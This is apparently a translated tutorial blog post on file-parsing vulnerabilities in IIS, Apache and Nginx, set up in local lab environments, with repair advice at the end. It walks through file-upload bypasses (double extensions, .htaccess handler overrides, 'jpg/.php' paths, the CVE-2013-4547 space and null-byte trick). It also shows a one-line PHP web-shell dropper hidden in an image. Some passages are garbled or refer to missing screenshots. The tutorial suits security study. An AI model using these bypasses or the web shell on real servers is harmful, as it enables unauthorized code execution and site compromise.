Parsing Vulnerabilities#
When we access a web server, such as the www.example.com/index.php file, a request is sent to the web server to access the PHP file. The PHP parser will parse the PHP file into a static file and return it to the browser for the user to view.
Server parsing vulnerabilities occur when the browser uploads a file to the server, and the server parses a file maliciously constructed by the attacker and returns it to the browser, thereby achieving the goal of uploading a malicious file.
IIS5.x/6.0 Parsing Vulnerabilities#
There are two parsing methods for IIS:
- Directory Parsing
If there is a directory named xx.asp on the server, then all files in that directory will be parsed as ASP files.
- File Parsing
You can connect successfully using a tool like Chopper.
In addition to executing ASP files, IIS6.0 can also execute files with extensions such as: asa, cer, cdx, etc. This can be exploited in conjunction with directory parsing vulnerabilities. For example: xxx.cer/xxx.jpg, xxx.asa;.jpg.
Apache Parsing Vulnerabilities#
- Multiple Extensions
Apache recognizes file extensions from right to left, such as: xxx.php.hcx.hts. It will first check the rightmost .hts extension, find it abnormal, and start parsing .hcx, ultimately parsing to the PHP file, thus executing the malicious file.
Check the PHP module configuration file /etc/apache2/mods-available/php7.0.conf
# From the following FileMatch, we can see ".+.ph(p[3457]?|t|tml)$",
# $ represents the last one, indicating that PHP itself still checks the last extension.
<FilesMatch ".+.ph(p[3457]?|t|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch ".+.phps$">
SetHandler application/x-httpd-php-source
# Deny access to raw PHP sources by default
# To re-enable it's recommended to enable access to the files
# only in specific virtual host or directory
Require all denied
</FilesMatch>
Deny access to files without filename (e.g. '.php')
<FilesMatch "^.ph(p[3457]?|t|tml|ps)$">
Require all denied
</FilesMatch>
Running PHP scripts in user directories is disabled by default
To re-enable PHP in user directories comment the following lines
(from <IfModule ...> to </IfModule>.) Do NOT set it to On as it
prevents .htaccess files from disabling it.
<IfModule mod_userdir.c>
<Directory /home/*/public_html>
php_admin_flag engine Off
</Directory>
Accessing as follows, PHP is not parsed, and the source code is returned directly:
Next, we will change the $ in the above configuration file to \..
<FilesMatch ".+\.ph(p[3457]?|t|tml)\.">
SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch ".+\.phps\.">
SetHandler application/x-httpd-php-source
# Deny access to raw PHP sources by default
# To re-enable it's recommended to enable access to the files
# only in specific virtual host or directory
Require all denied
</FilesMatch>
# Deny access to files without filename (e.g. '.php')
<FilesMatch "^\.ph(p[3457]?|t|tml|ps)\.">
Require all denied
</FilesMatch>
# Running PHP scripts in user directories is disabled by default
#
# To re-enable PHP in user directories comment the following lines
# (from <IfModule ...> to </IfModule>.) Do NOT set it to On as it
# prevents .htaccess files from disabling it.
<IfModule mod_userdir.c>
<Directory /home/*/public_html>
php_admin_flag engine Off
</Directory>
</IfModule>
Restart the Apache service.
service apache2 restart
File parsing succeeded.
- Rare Extensions
Apache will parse files of specific MIME types, which are defined in the /etc/mime.types file.
If the file upload section of the site does not filter the types defined in the mime.types file, then it is possible for an attacker to upload PHP files with unusual extensions that Apache can parse, thus bypassing the site filter.
- .htaccess File
By default, there is no .htaccess file in the root directory of the website, and you need to create it yourself. The content of .htaccess is as follows:
AddType application/x-httpd-php xxx
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
The .htaccess functionality is disabled by default, and the access result is as follows:
Edit the Apache configuration file
Change AllowOverride None to AllowOverride All
<Directory />
Options FollowSymLinks
AllowOverride All
Require all denied
</Directory>
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
#<Directory /srv/>
# Options Indexes FollowSymLinks
# AllowOverride None
# Require all granted
#</Directory>
Also change the matching for .ht to granted.
<FilesMatch "^.ht">
Require all granted
</FilesMatch>
- Load the Rewrite Module
Create a symbolic link
cd /etc/apache2/mods-enabled/
ln -s ../mods-available/rewrite.load rewrite.load
As above, the .htaccess functionality has been enabled. Create the corresponding test files in the root directory of the website (/var/www/html).
root@kali:/var/www/html# tree
.
├── index.html
├── index.php
├── shell.jpg
├── test
│ ├── shell.jpg
│ └── [type.xxx](http://type.xxx/)
└── [type.xxx](http://type.xxx/)
The contents of shell.jpg and type.xxx are both:
<?php echo 'HELLO WORLD'; ?>
After accessing the shell.jpg image suffix and the type.xxx file in the browser, the PHP code file is executed directly.
Proper use of the .htaccess file can effectively bypass the PHP suffix filter.
File Parsing Vulnerability Summary - Apache - CSDN Blog
Nginx Parsing Vulnerabilities#
Nginx is a high-performance web server that is widely used. It is often used as a reverse proxy and can also support PHP execution very well.
Nginx was found to have serious security issues in versions 0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37, which by default could cause the server to erroneously parse any type of file as PHP, leading to serious security issues that could allow malicious attackers to compromise Nginx servers that support PHP.
Setting up the Nginx vulnerability environment is relatively complicated, so it's better to use a vulnerability platform directly!
Therefore, let's demonstrate using the Vulhub vulnerability platform.
Vulhub project address: https://github.com/vulhub/vulhub
The Vulhub vulnerability platform is built on Docker, which allows you to pull the vulnerability environment directly and use it without having to set up the environment yourself.
- Install Docker
# Install pip
curl -s https://bootstrap.pypa.io/get-pip.py | python3
# Install the latest version of Docker
curl -s https://get.docker.com/ | sh
# Start the Docker service
service docker start
# Install Compose
pip install docker-compose
- Using Vulhub
# Pull the project
git clone https://github.com/vulhub/vulhub.git
cd vulhub
# Enter a specific vulnerability/environment directory
cd flask/ssti
# Automatically build the environment
docker-compose build
# Start the entire environment
docker-compose up -d
The above is from the Vulhub README
Note:
- When starting the environment, pay attention to the system time settings; if the time is inconsistent, an error will occur.
Get https://registry-1.docker.io/v2/: x509: certificate has expired or is no
Nginx parsing vulnerabilities are not related to Nginx or PHP versions but are caused by improper user configuration files. However, in higher versions of PHP, the "security.limit_extensions" mechanism has been introduced, which by default only parses files with the .php extension.
Nginx version as follows:
When Nginx receives a test.jpg/.php file, it sees the .php extension at the end of the URL and assumes it is a PHP file, passing it to the PHP parser for processing. However, the PHP parser finds that this PHP file does not exist, so it removes the .php extension and takes test.jpg, which exists but is an image file, and the PHP parser does not parse it, returning Access denied.
The Nginx parsing vulnerability was discovered by the 80sec organization. When fastcgi is enabled, an attacker uploads a jpg file with the following content:
<?PHP phpinfo() ?>
Then accessing xxx.jpg/.php will parse this file as a PHP file.
At this point, it displays as follows:
Displays Access denied.
This is because in the latest version of the php.ini configuration file, cgi.fix_pathinfo=1, which defaults to 1. If you set cgi.fix_pathinfo to 0, it will not parse the subsequent suffix, and the parsing vulnerability will no longer exist.
It still cannot be parsed because in the new version of PHP, the "security.limit_extensions" mechanism has been introduced, which restricts the executable file extensions.
# Find the php-fpm.conf file
# find / -name php-fpm.conf
/etc/php-fpm.conf
The php-fpm.conf file includes the configuration files in the /etc/php-fpm.d/*.conf directory.
Enter the /etc/php-fpm.d/ directory and edit the corresponding configuration file.
Restart the Nginx and PHP-FPM services.
Access in the browser:
# Create a web shell image
copy xx.png/b + yy.txt/a xy.png
yy.txt content:
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
Upload a png web shell and access it in the browser.
Access the generated shell.php file with a tool like Chopper, http://192.168.63.131/shell.php.
References:
https://blog.csdn.net/wn314/article/details/77388289
Repair Recommendations
- Change cgi.fix_pathinfo=1 in the php.ini configuration file to cgi.fix_pathinfo=0.
- The new version of PHP has introduced the "security.limit_extensions" mechanism to restrict executable file extensions.
Nginx Filename Logic Vulnerability (CVE-2013-4547)#
Affected Versions: Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
In the Nginx configuration file:
location ~ \.php$ {
root html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
# try_files $uri = 404;
}
By default, files ending with .php are sent to fastcgi for parsing.
In the case of cgi.fix_pathinfo=0, it only allows the execution of files with the .php extension. If there is an Nginx filename logic vulnerability (CVE-2013-4547), illegal characters such as spaces and null terminators (\0) can confuse Nginx's finite state machine when parsing the URI, allowing attackers to bypass suffix restrictions and execute PHP code.
Test using the Vulhub environment.
The form box is as follows:
- Upload a gif image file, intercept the request with Burp.
The content of the gif image file is as follows:
<?php phpinfo();?>
Change 1.gif to 1.gif[space], adding a space after .gif, and click forward, indicating the upload was successful.
- Access in the browser
Access 192.168.63.140:8080/uploadfiles/1.gif...php in the browser, adding ...php after the gif for easy packet modification, and Burp will intercept the request.
Change the first dot after gif to 20 and the second dot to 00, then click forward.
The final request URL is
192.168.63.140:8080/uploadfiles/1.gif1.gif[0x20][0x00].php
- The PHP code executes successfully.
Summary#
This is an article I wrote a long time ago. If the file upload functionality has a whitelist, it usually needs to be combined with parsing vulnerabilities to be exploited. Parsing vulnerabilities are becoming less common now, as middleware versions have all increased.